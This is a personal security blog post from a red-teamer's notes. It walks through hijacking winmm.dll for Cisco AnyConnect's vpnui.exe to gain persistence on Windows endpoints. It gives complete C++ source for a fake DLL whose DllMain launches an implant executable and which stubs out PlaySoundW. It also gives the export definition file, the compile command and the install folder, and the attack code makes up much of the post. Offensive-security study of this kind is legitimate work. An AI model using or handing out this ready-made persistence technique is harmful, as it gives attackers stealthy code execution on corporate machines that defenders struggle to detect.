23 Aug 2020

DLL Hijack for Cisco Anyconnect

Note 1: the best place to learn a lot about dll hijacking is https://institute.sektor7.net; the main purpose of this post is to capture my notes while applying some of the techniques taught by sektor7 in a real world example

Note 2: there is nothing report worthy in this post or i’d provide Cisco a heads up. They are no worse or better than the other applications i looked at while studying the technique. This is not a privesc, just persistence via a weakness that plenty of windows applications share

Anyconnect Example

Cisco AnyConnect (vpnui.exe) is configured to start automatically in many corporate environments. Even when it is not, it is usually started by the user right after logging on to their machine while working from home.

For that reason, it is a useful candidate for .dll hijacking to maintain persistence in an environment. If you have write access to the anyconnect folder on an endpoint during your engagement this example demonstrates a reasonably stealthy approach.

vpnui.exe.PNG

To hijack a .dll, we are relying on the dependency search mechanisms build into the Windows Operating System.

It’s helpful to understand where will Windows look, and in what order when attempting to load all the .dll’s used by a binary. Microsoft do a good job explaining the process here.

For dll hijacking, we want to examine the target process while it is loading and figure out the places it will ‘miss’ in it’s attempt to load it’s required dll’s. In a non-security context, a miss is no big deal because the loader will move on to the next location and usually eventually succeed in finding what it needs. But in an offensive security context, our hope is to replace the ‘miss’ with a binary that we’ve built for purpose.

We can configure procmon.exe to help identify those situations:

procmon-settings

We filter on the process: “vpnui.exe” and the result: “not found”.

There are many attempts to load a .dll from a location which are unsuccessful. If we were to remove the “not found” filter we’d see that eventually the .dll is loaded from another location on the machine and that’s the reason the application loads successfully.

procmon-results

The result: winmm.dll is particularly interesting because in many cases it only loads a single function. Usually, that function is PlaySoundA.

The number of functions being imported by a dll is a consideration when hijacking because we are potentially taking functionality away from the executable with this approach & because more exported functions equals more work.

If we swap in a malicious dll that does not contain adequate cover for all the functions the process needs the user might see an error. Bad news for us.

We can confirm the assumption about the small number of functions needed from winmm.dll using:

dumpbin /imports "C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpnui.exe"

We’re looking at the ‘imports’ required by the binary. (We’ll later build our own version as ‘exports’ in the malicious .dll)

If we search the output for “playsound” we see:

imports

What’s interesting is that our assumption about PlaySoundA is slightly off. Not by much, but enough to mess things up if we don’t pay attention (i didn’t pay attention at first).

The function being imported is PlaySoundW, not PlaySoundA. That’s the Unicode version of the function and it’ll have a slightly different implementation that we’ll need to adjust in our hijack dll.

If we attempted to use the function definition of PlaySoundA like we have in other dll hijacks we’d see:

error:
Microsoft (R) C/C++ Optimizing Compiler Version 19.27.29111 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

winmm.cpp
winmm.cpp(22): error C2733: 'PlaySoundW': you cannot overload a function with 'extern "C"' linkage
C:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\um\playsoundapi.h(114): note: see declaration of 'PlaySoundW'

The error is very useful because if we view C:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\um\playsoundapi.h we’d find the two function prototypes in the file and note the subtle differences:

WINMMAPI
BOOL
WINAPI
PlaySoundA(
    _In_opt_ LPCSTR pszSound,
    _In_opt_ HMODULE hmod,
    _In_ DWORD fdwSound
    );

WINMMAPI
BOOL
WINAPI
PlaySoundW(
    _In_opt_ LPCWSTR pszSound,
    _In_opt_ HMODULE hmod,
    _In_ DWORD fdwSound
    );

With that in mind, our hijack .dll will be:

#include <Windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ul_reason_for_call, LPVOID lpReserved) {
    STARTUPINFO info={sizeof(info)};
    PROCESS_INFORMATION processInfo;

    switch (ul_reason_for_call)  {
    case DLL_PROCESS_ATTACH:
        CreateProcess(
					"c:\\temp\\implant.exe", 
					"", NULL, NULL, TRUE, 0, NULL, NULL, 
					&info, &processInfo);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

extern "C" {
	 __declspec(dllexport) BOOL WINAPI PlaySoundW(
											LPCWSTR pszSound,
											HMODULE hmod,
											DWORD fdwSound) {
		 return TRUE;
		}
}

We are loading our malicious payload with CreateProcess("c:\\temp\\implant.exe", "", NULL, NULL, TRUE, 0, NULL, NULL, &info, &processInfo); inside the DllMain function and simply returning TRUE on the PlaySoundW function. (Note: that could be a problem if the function did something that the user is likely to notice, and the right answer might be to patch in the original .dll as well. In this case, we don’t care about the potential of a missing sound. The user probably wont notice).

Then we define the header file to let the compiler know we are exporting a function (even if it does nothing, the original binary is going to be looking for it):

LIBRARY "WinMM"
EXPORTS
  PlaySoundW

Compile the .dll: cl.exe /D_USRDLL /D_WINDLL winmm.cpp <source>.def /MT /link /DLL /OUT:winmm.dll

(Remember to compile from the 32 bit visual studio environment to match the bitness of the process: vpnui.exe. It’s the one labelled x86 Native Tools Command Prompt for VS 2019 in the visual studio folder)

If everything has gone to plan, all we need to do now is drop the .dll in the anyconnect folder - C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client. It shouldn’t look out of place.

all-done

The next time anyconnect loads it will find winmm.dll in it’s own program directory and not bother to search for the real library from Windows locations.

Which means -

Our malicious code is executed, rather than the code in the real winmm.dll:

implant

In most adversary simulation cases the ‘malicious code’ will be a connection to the operators machine but an adversary could use this technique for anything awful they dream up.

And that’s about it: reliable persistence; difficult to detect malicious code execution; bad news for the blue team.

Thanks!
Chad Duffey

Security Engineer